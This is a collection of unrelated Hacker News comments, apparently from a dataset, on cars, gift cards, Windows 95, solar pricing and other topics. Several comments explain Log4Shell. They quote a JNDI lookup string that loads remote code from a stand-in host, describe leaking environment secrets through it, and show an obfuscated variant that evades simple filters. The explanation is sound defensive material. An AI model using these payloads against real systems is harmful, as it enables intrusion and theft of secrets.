skysight-inc/HackerNews huggingface dataset:
I recently got a letter from VW informing me that my 2017 vehicle's connection to AT&T will end in early 2022 due to the 2G sunset. I never subscribed to the service anyway, so I just get to chuckle about how they can't spy on me anymore. The fact that they equipped their vehicles thusly without the network operator agreeing to support it for at least a decade or so blows my mind.
SaaS is eating the world. Software, music, movies, games, books. Now the car industry and big pharma are flirting with this model.
Now that's some lucky timing!
Literally in 12 hours I'm supposed to work on how to sync machines without network access, that write to SQLite databases.

SQLite never ceases to amaze me.
> Having random cables cut doesn't help the situation, but the issue was not knowing how to manually release the latch and not having an emergency window breaker.

Is it, is that really the issue?
Cash in a nice card can certainly be as good or better than a gift card. It's not necessarily a faux-pas. But it really depends on the situation. In some cases a gift card can be better if it is clear that the giver put some thought into the selection of the card (i.e., where it can be redeemed). There is something about the fact that the funds on a gift card can only be used in a restricted way that encourages the recipient to use it on something special. When I get cash, by contrast, I usually just put it in my bank account. I appreciate getting it, but its a different experience from a well selected gift card. (This can be at least partially addressed by including a note with the cash with some ideas on how to spend it.)

Note, however, that I'm assuming that the gift card is well selected. In practice, I find that this is usually not the case--probably because the giver was simply looking for an alternative to giving cash. Under these circumstances I agree that cash is actually better. There are few gifts worse than a gift card to a restaurant you don't like, for products you aren't interested in, or to a totally generic store.

I think the gold standard remains a thoughtful, nonmonetary gift. But that's often just not realistic.

Edit: A sibling comment points out that this is all cultural. And they're exactly right. So I suppose I should specify that I'm a Christmas-celebrating American. YMMV for gift-giving holidays and rituals from other traditions.
I think they're saying compared to Win95, not NT.
The Behavior section in this link explains it in detail: https://en.wikipedia.org/wiki/Log4Shell

"Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server.

Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as "${jndi". Naive searches can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j. Even if an input is not immediately logged, such as a first name, it may be later logged during internal processing and its contents executed."

Log4J 1.x was deemed safe because it does not offer the lookup mechanism that Log4J2 v2.x does. It always remains a String, no matter what, unlike v2.x where you can load serialized objects via lookups.

Source: https://twitter.com/ceki/status/1469449618316533762
What are your thoughts on how Stalin, Mao and Pol Pot conducted themselves? They also believed that they were doing the best possible good for their societies.

I believe the disconnect here is you seem to be suggesting that Marxist / communist ideology can be safely restrained from eroding personal liberty. I do not and would rather not run the experiment because history has shown it tends toward genocide - regardless of the good intentions of its supporters. It's the parable of the scorpion and the frog.

I'm happy to encourage people to continue to help the needy. But communism is a hard nope.
The two examples showcase the potential of the RCE. The JNDI endpoint answers with a serialized java class:

a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it

b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system
That hasn't always been the case. For example, our 1991 Saturn station wagon (with mechanical locks) would only open if you unlocked the door first with the lock lever.
I prefer to see it as richness of culture.
That’s barely a spoiler. You should still watch it :)
> Unless we identify a problem set where event-based computing with spikes is the inherently natural solution, I find it hard to imagine that spiking networks will ever outcompete ANN solutions.

i'd guess that domain would be real time (unbuffered / unbatched) processing of raw sensory data. it seems reasonable that biological neural systems evolved for optimal processing of sensory information encoded temporally in spike trains, yet the few papers on neuromorphic computing i've seen tend to try and hammer spiking neural networks into a classic batch based machine learning paradigm and then score them against batch based anns.
That's quite the leap from moderating information to a murder investigation
I have been distributing a pornographic Android app on the web since 2017 and there are no difficulties.

Simply put the APK on a webpage and link to some instructions for installing an untrusted APK. For example, see http://driftwheeler.com

In particular, look at the "Can't install?" link.

If people really want to use your app, they will gladly do a little work to install it.
It's not an 'incentive' it's a disposition.

Most people don't have 'careers' they have 'jobs' and if they can do something they want to do then that's a bonus for them.

So comp. takes a completely different kind of form there, outside the scope of what we normally consider performance/bonus oriented among professionals.

It's a bit like Nursing, a semi-socialized trade where we establish pay rates via budgets, Unions, a bit of supply and demand etc..
This is absurd victim blaming.

The problem is there is a door handle that is designed with a failure mode such that pulling the handle DOES NOT OPEN THE DOOR.
I think most people recognize that a life growing up in the USA followed by the legal right to work and live here is a fairly huge step up in socioeconomic status from where most DACA-covered folk would have been had they not come to the USA.

But TFA was about socioeonomic mobility within the USA, not comparisons with Mexico, Peru or Bolivia. The success of a specific subgroup [0] of undocumented immigrants at moving upwards doesn't refute the general mobility findings cited in TFA, nor does it prove or disprove that their success is about smart work vs hard work vs adversity support. And I didn't mean to imply that neither hard nor smart work play a role in any upward social mobility, but rather that many people forget the role played by adversity support (and it's not a small role).

[0] According the article you cite, DACA covers 832,881 people, which is about 11% of the total undocumented immigrant population in the US at present (and if tales about an uncontrolled wave were correct, even less).
I guess part of my issue is that I wasn't a huge fan of the manga either; it felt borderline-hentai at some parts and just wasn't my jam, I never finished it.

The 1995 movie is easily in my top five favorite movies, and I think a large part of it was because I liked that specific version of her character.

> Major's clothing choices in Manga were definitely her own and it didn't feel like it's just random cheap sexualization

I mean, I guess? These are fictional characters, so these depictions are still created by people. Yes, it's the character's decision in-universe, but it's still the author's decision to put her in situations that require her to be in skimpy outfits.

I don't mean to come off as super social-justicey, I guess I just never really liked the trope in anime of every female character being hyper-sexualized.
Toyota owners have to pay $8/mo to keep using their key fob for remote start
Yes, Linus is just full of crap, on that topic.

But Rust is more mature now than C++ was in 2007. Fully self-contained projects can move fast.
I was kind of expecting the complaint to be about how the API only allows a single API key (which is terrible for multiple projects), and doesn't allow generating multiple API keys w/ multiple types of access (kind of like what Cloudflare's API allows you to do)
I don't know UK labor law, but I do know that when I worked in finance in the U.S., people were not expecting to take 25 days off per year.

"The company only granted 25 days off per year to UK employees in Namely"
See also the inflationary spike of the Renaissance era, sometimes called the Spanish Price Revolution: https://voxeu.org/article/does-inflow-precious-metals-new-wo...

Prices rose sixfold over 150 years, which represents a ~1% inflation rate which seems low by modern standards, but the thing about inflation is that expectations matter far more than the absolute rate, and European society had ~0% inflation assumptions baked into it, so the effects were significant and sweeping. The graph of price levels in England in that article is just wild.

It's now generally accepted that that the main driver of this was the Spanish treasure fleets from the New World, which significantly increased the money supply in Europe.
I had the impression Goodreads was a link-farming book/warez site. Is it something real or apparent competing-with-the-Jones', Chef de Claque toxic positivity, whether human or bot?
You read it right. Just a simple curl can infect your system. Your api can be behind multiple layer of security and still it will reach log4j and infect your system.
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IIRC, most panels interface via DisplayPort internally these days.
How do you know yours isn't vulnerable?
> The electricity you consume is fairly cheap, the infrastructure to deliver the electricity is the bulk of the cost.

That sounds outlandish given the way electricity prices have jumped and are strongly tied to fuel prices. Anyway, if a solar panel keeps some amount of CO2 out of the air, that's worth cutting into the de facto subsidy that the power utility is otherwise getting by being allowed to emit it.
Originally, the project was about hardware with storage capabilities and a software layer that would allow to access your data without configuring a router, leveraging Wireguard peer-to-peer capabilities.
That is what the second part is about - the networking software.
Now you have a mouse trap glued to your floor?
JNDI supports distributed objects (think CORBA). The client receiving a serialized object of a given (sub)class may not have the class implementation locally available needed to deserialize the object and to execute its methods. The server sending the object may therefore helpfully provide a URL where the class’s byte code can be downloaded. The client can then download the code and execute the object constructor etc. This all assumes a trusted infrastructure, and in principle it can be restricted to such an environment by configuration. It’s just that the default configuration didn’t restrict anything.
$1,000 in 1960 is worth $9,390 today
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Hey, if you're interested in connecting, so we can help each-other let me know. Peer support could be a way out of this mental block?
You're right. I'm on statins too, slip of the head. I mean angiotensins. I've been on Valsartan and they keep upping the dosage. My wake-up blood pressure still hovers around 150-160/100 but it goes down during the day.
For me only their twitter support worked @TeamYoutube. All other channels were silent.
glibc is notoriously difficult to link against; most other typical libraries have simpler ABI.

This RH blog post is good intro on the topic: https://developers.redhat.com/blog/2019/08/01/how-the-gnu-c-...
If > 50% of the country is living off less money - then it is obviously possible.

Additionally - due to our tax code being based solely on income and not wealth - you might be able to qualify for a lot of government benefits.
Calling out aggressive and uninvited outreach from a vendor is extremely different from "the customer is always right" mentality. The two things are not the same.
I think this is a really good list, especially your point about finding the signal in the noise on 4chan; once you sift through a lot of degeneracy there really is a lot of good info there.
SF Chronicle Editorial Board:

https://archive.md/fFG2l#selection-3261.0-3269.271

"While some modest rate adjustments may be appropriate, gouging rooftop solar users at the behest of private utilities, absent massive systemic changes to the way electricity rates are set in California, would be a terrible mistake. Making solar more expensive to operate will only entrench current inequities. If California is serious about lowering rates for customers, it should look for ways to expand solar roofs to renters and others who can’t currently afford to benefit from these installations.

It should also do something to bring its outdated utility model into the solar age.

PG&E is a menace, responsible for some of the worst and most deadly wildfires in state history. And yet California’s energy policy guarantees the company and other private utilities set revenues, regardless of energy demand or competence in delivering that energy safely."
The world’s best Microsoft Excel users battle in a head-to-head tournament
+1 to Horowitz & Hill. Get the lab manual thing too!
Audoo Raises $9.5M+ in Pre-Series B Funding’ From Paul McCartney’s MPL
If you liked this essay then you would probably enjoy his autobiography Born Standing Up[0].

[0] https://en.wikipedia.org/wiki/Born_Standing_Up
Lots of banks and law offices, a lot of bigger name accounting/auditing/consultancy firms, and a substantial amount of government/quasi-non governmental organizations. When I started at my current government position, the only department exempt from wearing suits were Admin and IT Services, and even we had to wear polished black leather shoes, dress socks, pressed pants (trousers for you brits), and button-down long-sleeved shirts. When we won the right to wear polo shirts it was a big deal.

Fortunately, a new CEO came in and revised down our 4 page dress code to a single common-sense paragraph: "Employees are prohibited from wearing sweatpants and offensive t-shirts in the office. Personnel who are meeting with clients or presenting at court should wear business-formal attire for those meetings/events. Use common sense for all other times."
I just bought a new Toyota truck this past year. It blows my mind that I have to pay extra for remote start in 2021. I didn’t realize it when I bought it, otherwise I would have thought twice.
It still depends on what your alternative is. Much of the world does not use electricity for heat; in the United States, electricity is rarely used for heat in in the parts of the country that traditionally get brutal winters. It's cheaper for me to heat my home via the forced-air natural gas furnace (even though it is a less efficient fuel-to-heat process as compared to resistance heaters) given the disparity in pricing between residential electric and natural gas costs. I tried mining ethereum for a month last winter and I don't think that I broke even (despite using a relatively recent RTX 2080).
You don't sound like you're doing great yourself at "being a civil member of society". On that front, heal thyself...
I mean you responded as if you think I was using HN comments as a representative sample and not as an illustrative anecdote...

> Even "essentially no access to services" is closer access to services than the common exurban commuting distance.

Okay... But it's not a one-to-one replacement... A single two-way commute might be replaced by significant drives to the grocery store, restaurants, schools, after-school activities, etc...

Honestly, despite all of this discussion, I think the idea that commutes will be broadly eliminated long-term is the bigger assumption than general suburban driving being a net positive compared to commuting or vice versa.
The other thing think about is if to repair it so it is 'good enough' vs a 'perfect' repair.
> In the First World the history of technocracy can't really be understood without studying the history of eugenics. This is also generally true of much of our science and even mathematical theory. Terms like "regression to the mean" have direct origins in eugenics theory

And yet studying the history of eugenics will not help you understand regression to the mean. It's certainly not a bar to understanding.
The US equivalent of this, I think, would be giving two-dollar bills. They exist and are legal tender but are rarely seen.
Also, code written for libraries often need to factor in far more use cases and edge cases than code used for one part of your app. Its not too far fetched to say that there might not be any when you write your own because it might be significantly less encompassing.
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Are there now more known hacks than crypto companies?

At one point there definitely was more hacks and scams than crypto exchanges.
NNCP (http://www.nncpgo.org/) can be helpful here as well, in conjunction with the SQLite session extension.
YC S18: How to develop efficient AI for edge computing
Both which ways? C was adopting C++ features before C90. Void type, function prototypes, scoped struct member tags.

Declaration syntax is not an impediment to safety or to static analyzers, except insofar as it is trickier to code a parser for them.
Makes me think that we can send a man to the moon but we can’t come up with a practical aircraft powered by flapping wings.

Evolved biological process can be very subtle. They’re worth studying for their own sake but not necessarily best to solve general problems.
> It’s a shallow comparison, not deep.

Interesting. I thought it was doing a deep comparison, but apparently it uses reference equality, and thus shallow.
You’re dammed right I’m angry, stupidity and double standards like this are why nearly a million people have died in this country.

Whether you choose to vaccinate your kids or not is your right. Just don’t expect others to “tolerate” your decision. Vaccines are required in public schools for a reason.

Regardless, your original post was about masks and how you felt they were somehow damaging your kids, which is bullshit.
In 2021 the real government funded police would have zero interest in hearing about that kind of crime - assuming UK police are anything like police here.

So this seems like a bit of an improvement :)
Privacy and Security is in our DNA
s/stata/sata in the title
>Anyway, speculation aside, there’s also quality of life to consider. A lot of other places in the world really emphasize this.

Ok feel free to give me some. I'd like to know the COL in these places as well.

A lot people here tend to complain about the US but are living in ridiculous high cost coastal areas and are unaware of more affordable options. Most of them are willingly sacrificing QOL because they refuse to change their attitudes.
Psychology: knowing yourself, knowing others.

To that end getting really comfortable with the big 5, then branching off to HEXACO if you like it.

Once you've got that down move on to Non Violent Communication.

These can help to form the basis of genius level soft skills, getting what you want from and for other people with less friction, and in the end faster.
Every Chinese kid gets these during the New Year celebrations. It's not a family thing so much as it's cultural.
The only things Apple charges subscriptions on are actual content services or server usage charges which are inline with literally every other business. Many people, even on HN it seems, have a completely distorted idea on what the products Apple sells actually are.
Actually it does disprove your point. There are clearly plenty of people who think that the food is good enough to pay for it and keep the restaurant in business so it is far more likely that you have no idea how to properly value the food or run a successful restaurant.
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It uses a Window Maker fork for its workspace so i guess it'd be similar but more integrated.
'Repair Shop' is on Netflix (in the US at least).

Highly recommended.
Not yet. Until https://github.com/trunkmaster/nextspace/issues/60 it use the host system shortcuts.
Updating the GOV.UK Homepage
> too bad it doesn't come with some code

Mapbox changed the license of their code last year I think to a proprietary one. https://github.com/mapbox/mapbox-gl-js/blob/main/LICENSE.txt

It requires a mapbox user license with billing enabled to use this code, let alone make modifications. But the source is viewable on github.

Mapbox also has one of the first tech unions established, but I do not think they have any position on the license. Any insiders know?
Bored Ape NFT accidentally sells for $3k instead of $300k
There's really two versions of Windows 95. The original retail release is quite limited, and lacks a lot of things that people now assume were always there.

There were approximately four (or six, depending on how you count) later revisions, but the big one was "OEM Service Release 2", which added support for FAT32, Infrared data, UDMA, IRQ Steering, Firewire, MMX, and P6 support. A later minor patch also added support for USB and AGP.

The later OSR "2.5" also came bundled with IE4, which overhauled the Explorer interface, adding (amongst other things) the quick launch bar, IE integration (including things like the "address" bar in Explorer windows), and the Active Desktop.

Today, many people assume these things came along with Windows 98 first, which is not true.